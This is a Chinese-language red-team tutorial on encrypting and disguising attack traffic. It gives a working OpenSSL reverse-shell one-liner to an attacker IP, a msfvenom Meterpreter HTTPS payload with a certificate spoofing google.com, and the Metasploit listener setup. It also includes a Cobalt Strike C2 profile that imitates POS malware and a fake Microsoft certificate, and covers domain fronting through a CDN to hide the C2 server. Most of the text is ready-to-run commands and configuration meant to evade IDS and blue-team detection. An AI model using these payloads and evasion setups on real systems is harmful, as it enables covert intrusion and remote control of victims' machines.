流量加密
使用Openssl反弹加密shell
红队进行渗透测试的后续渗透阶段为了进行横向渗透,往往需要反弹shell,但是如果反弹shell都是明文传输,如果内网有IDS或者防护软件会进行流量分析,很快被发现,如果蓝队对攻击流量回溯分析,就可以复现攻击的过程。此时红队的攻击就会暴露出来,整个项目都要停止。
使用Wireshark抓包直接看到输入的命令和返回的信息,这些危险命令会被防火墙或者IPS检测。所以要对这些信息进行混淆或加密。
在计算机网络上,OpenSSL是一个开放源代码的软件库包,应用程序可以使用这个包进行安全通信,避免窃听,同事确认另一端连接者的身份。这个包广泛应用在互联网的网页服务器上。
- 在Kali上使用OpenSSL生成自签名证书
openssl req -x509 -newkey rsa:4096 -keyout key.pem -out cert.pem -days 365 -nodes
- 监听端口
openssl s_server -quiet -key key.pem -cert cert.pem -port 8080
- 在目标上执行反弹shell命令
mkfifo /tmp/s; /bin/sh -i < /tmp/s 2>&1 | openssl s_client -quiet -connect 10.35.71.246:8080 > /tmp/s; rm /tmp/s
MSF流量加密躲避检测
为了防止主机被入侵,现在大部分的内网环境都装有流量审计工具,专门用来分析审查流量特征,分析网络流量,如后门特征,行为特征,像metasploit在内网做横向渗透时,这些流量很容易就能被检测出来,所以做好流量加密,就能避免审计工具检查出来。
- Openssl创建SSL/TLS证书
openssl req -new -newkey rsa:4096 -days 365 -nodes -x509 \
-subj "/C=UK/ST=London/L=London/O=Development/CN=www.google.com" \
-keyout www.google.com.key \
-out www.google.com.crt && \
cat www.google.com.key www.google.com.crt> www.google.com.pem && \
rm -rf www.google.com.key www.google.com.crt
- 生成后门
msfvenom -p windows/meterpreter/reverse_winhttps LHOST=10.35.71.246 LPORT=443 PayloadUUIDTracking=true HandlerSSLCert=www.google.com.pem StagerVerifySSLCert=true PayloadUUIDName=ParanoidStagedPSH -f psh-cmd -o pentestlab.bat
- 设置监听器
配置监听器时还需要使用两个附加选项,这是为了通知处理程序它将使用的证书(与有效载荷相同),并在接收到连接时执行SSL证书验证。
msf6 exploit(multi/handler) > set payload windows/meterpreter/reverse_winhttps
payload => windows/meterpreter/reverse_winhttps
msf6 exploit(multi/handler) > set LHOST 10.35.71.246
LHOST => 10.35.71.246
msf6 exploit(multi/handler) > set LPORT 443
LPORT => 443
msf6 exploit(multi/handler) > set HandlerSSLCert /root/www.google.com.pem
HandlerSSLCert => /root/www.google.com.pem
msf6 exploit(multi/handler) > set StagerVerifySSLCert true
StagerVerifySSLCert => true
当有效载荷在目标主机上执行时,一个加密的MSF会话将进行,它将不允许主机入侵系统检查数据包并断开连接
cobalt strike生成证书修改C2 profile流量加密混淆
cobalt strike 是很多红队的首选的攻击神器,在APT方面近几年应用范围很广,很多著名的团队都曾使用这个工具进行APT,效果显著。导致很多ids入侵检测工具和流量检测工具已经可以拦截和发现,特别是流量方面,如果使用默认证书进行渗透和测试,特别在高度安全的环境下,好不容易找到一个突破口,因为证书没修改,被流量检测出来并进行拦截,检测报告将返回给管理员,管理员就能马上将缺口进行修复。那么红队之前的攻击就会付诸东流,攻击计划就要重新指定。
流量加密传输已经成为现在红队的基本素养,生成证书修改C2profile加密混淆实际上就是对流量加密传输,目的逃逸流量安全审计穿透检测器。
- 实验环境
Kali cobalt strike4.0
生成免费的SSL证书
在运行cobalt strike默认使用的cobaltstrike.store证书,生成新证书的意义是将使用我们现在的制定好的证书。默认的证书cobalt strike会被检测。
keytoo工具介绍
Keytool是一个Java数据证书的管理工具,Keytool将密钥(key)和证书(certificates)存在一个称为keystore的文件中,即store后缀文件中。
项目 | 详细 |
---|---|
alias名称 | kstore |
keypass | init123 |
算法 | RSA |
密钥长度 | 2048 |
有效期限(天) | 30 |
保存路径 | /tmp/kstore.keystore |
storepass | init234 |
keytool -genkey -alias kstore -keyalg RSA -validity 36500 -keystore kstore.store
kstore kstore.store 两个字符串都要记住,因为修改profile要使用
填写相关的地区信息,这些信息填写后在profile上还要使用,勿乱填写,填写了要保存
完成上面得命令后提示你要输入密码
输入密码后提示地区信息,按照提示一步一步填写
组织名称:MicrosoftUpdates(尽量像大型企业)
创建并修改C2-profile文件
set sample_name "kiss POS Malware";
set sleeptime "5000"; # use a ~30s delay between callbacks
set jitter "10"; # throw in a 10% jitter
set useragent "Mozilla/5.0 (Windows NT 6.1; rv:24.0) Gecko/20100101 Firefox/24.0";
#设置证书,注意以下内容得和你之前生成的证书一样
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}
#设置,修改成你的证书名称和证书密码
code-signer{
set keystore "kiss.store";
set password "123123";
set alias "kiss";
}
#指定DNS beacon不用的时候指定到IP地址
set dns_idle "8.8.4.4";
#每个单独DNS请求前强制睡眠时间
set dns_sleep "0";
#通过DNS上载数据时主机名的最大长度[0-255]
set maxdns "235";
http-post {
set uri "/windebug/updcheck.php /aircanada/dark.php /aero2/fly.php /windowsxp/updcheck.php /hello/flash.php";
client {
header "Accept" "text/plain";
header "Accept-Language" "en-us";
header "Accept-Encoding" "text/plain";
header "Content-Type" "application/x-www-form-urltrytryd";
id {
netbios;
parameter "id";
}
output {
base64;
prepend "&op=1&id=vxeykS&ui=Josh @ PC&wv=11&gr=backoff&bv=1.55&data=";
print;
}
}
server {
output {
print;
}
}
}
http-get {
set uri "/updates";
client {
metadata {
netbiosu;
prepend "user=";
header "Cookie";
}
}
server {
header "Content-Type" "text/plain";
output {
base64;
print;
}
}
}
主要设置
https-certificate {
set CN "US";
set O "MicrosoftUpdates";
set C "en";
set L "US";
set OU "MicrosoftUpdates";
set ST "US";
set validity "365";
}
#设置
code-signer{
set keystore "kiss.store";
set password "123123";
set alias "kiss";
}
c2link检测c2 profile文件是否可用
./c2link kiss.profile
没有报错就基本成功了
使用证书运行teamserver文件
nohup ./teamserver 1.1.1.1 123456 ./c2link kiss.profile & #nohup就是把程序挂在后台运行
建议编辑teamserver文件,在最后把启动的端口修改一下,尽量别使用默认端口启动。
域前置cobalt strike逃避IDS审计
域前置(Domain Fronting)基于HTTPS通用规避技术,也被称为域前端网络攻击技术。这是一种用来隐藏Metasploit,Cobalt Strike等团队控制服务器流量,以此来一定程度绕过检查器或防火墙检测得技术,如Amazon,Google,Akamai等大型厂商会提供一些域前端技术服务。
原理
通过CDN节点将流量转发到真实的C2服务器,其中CDN节点ip通过识别请求的Host头进行流量转发,利用我们配置域名的高可信度,如我们可以设置一个微软的子域名,可以有效的躲避DLP,agent等流量监测。
工作原理
域前置的核心是CDN,而CDN的工作原理是:
同一个IP可以被不同的域名进行绑定然后进行网站加速,例如现在有两个网站,分别为:www.a.com和www.b.com 都指定同一个IP:123.123.123.123 这个IP实际是CDN服务器。当浏览器访问www.a.com和www.b.com的时候怎么保证访问的目标是正常的指定的网站内容呢,这个时候就要在HTTP请求包里再host头加入访问的域名。
例:
36.99.196.218 是一个CDN服务器,这个服务器上转发了多个域名
www.szzsivf.com和www.sundxs.com都是这个cdn服务器上的域名,而且这两个域名都绑定了别名进行cdn加速,可以发现他们使用的都是同样的一批CDN服务器
对 www.szzsivf.com 进行请求,返回的状态码为301
对www.sundxs.com进行请求,返回的状态码同样也是301
对它们的CDN服务器进行请求,并且分别设置Host头
可以发现,返回的结果和我们直接请求域名时返回的结果是一样的,虽然我们请求的是CDN主机但是依然返回了 设置Host头域名的内容.
由此可见,即使直接请求 CDN,只要 Host 头中带有想要访问的域名,CDN 就能知道你想和哪个域名通信,进而就能让你和指定的域名互相传送内容。
依然成功访问到了www.szzsivf.com 这个域名下,而非表面上访问的 www.sundxs.com。
域前置基础就是基于这个原理,所以我们可以申请一批高信誉的域如接近microsoft、baidu.com、google.com、amazon.cn 类似这类域名,然后在请求头里加上这种高信誉域名,另外因为是CDN服务器,因为CDN服务器会隐藏IP,所以C2服务器的真实IP也会被隐藏
域前置实践
- 环境
cobalt strike4.0、一台VPS用于运行cobalt strike
在某云、某鹅、Amazon购买cdn云加速服务器
在国内使用cdn云加速都需要域名进行备案
我们先要申请一个域名(用来配合CDN隐藏C2服务器),然后再申请或购买一个CDN对我们所申请的域名进行加速,在这个过程中CDN会要求我们在域名的解析配置中设置相应的CNAME
申请CDN
新增源站信息,红色填涂处是C2服务器所在公网IP
申请完成状态
cobalt strike域前置配置
CDN 申请完成后,就可以开始编辑 Cobalt Strike 要用到的 C2 Profile 文件了,我们直接使用开源项目 Malleable-C2-Profiles 中的 amazon.profile,但需要把其中的 Host 头改成我们自己在 CDN 中绑定的域名,如图:
修改成自己的域名后,在服务器上启动 teamserver,加上配置文件的选项
-
进行测试
然后我们打开 Cobalt Strike 的 web日志 视图,用 curl 执行以下操作
然后如果在 Cobalt Strike 的 web日志 中能看到对应请求信息,则说明配置成功:
目标上线
- 创建监听器
上面我们在profile中指定Host域名并启动是适用于 cs3.x版本的
但其实4.x版本的CS已经支持在新建监听器时直接指定http/https host header了,并且该字段的优先级要比在profile中指定的要高。
http/https Hosts 填入beacon通信的地址,直接填上域名绑定的CDN的任意一个IP或者域名即可
http/https Host(stager)是为了二次下载载荷用到的,与hosts的属性一致。
HTTP Port(c2) 与申请CDN时绑定端口保持一致
HTTP Host Header 则填写我们的加速域名
- 创建payload
主机地址填写c2服务器的IP
- 在目标主机上执行payload
可以发现接口是不同的CDN服务器的IP
- Wireshark抓包
可以发现,目标请求Host地址已经伪装成我们自己绑定的域名了,
另外,我们在目标主机使用 Wireshark 过滤与真实C2服务器的通信,可以发现没有任何与真实主机的通信,与目标进行通信的都是绑定的CDN的IP地址,至此,说明我们成功实现了 Domain Fronting 技术。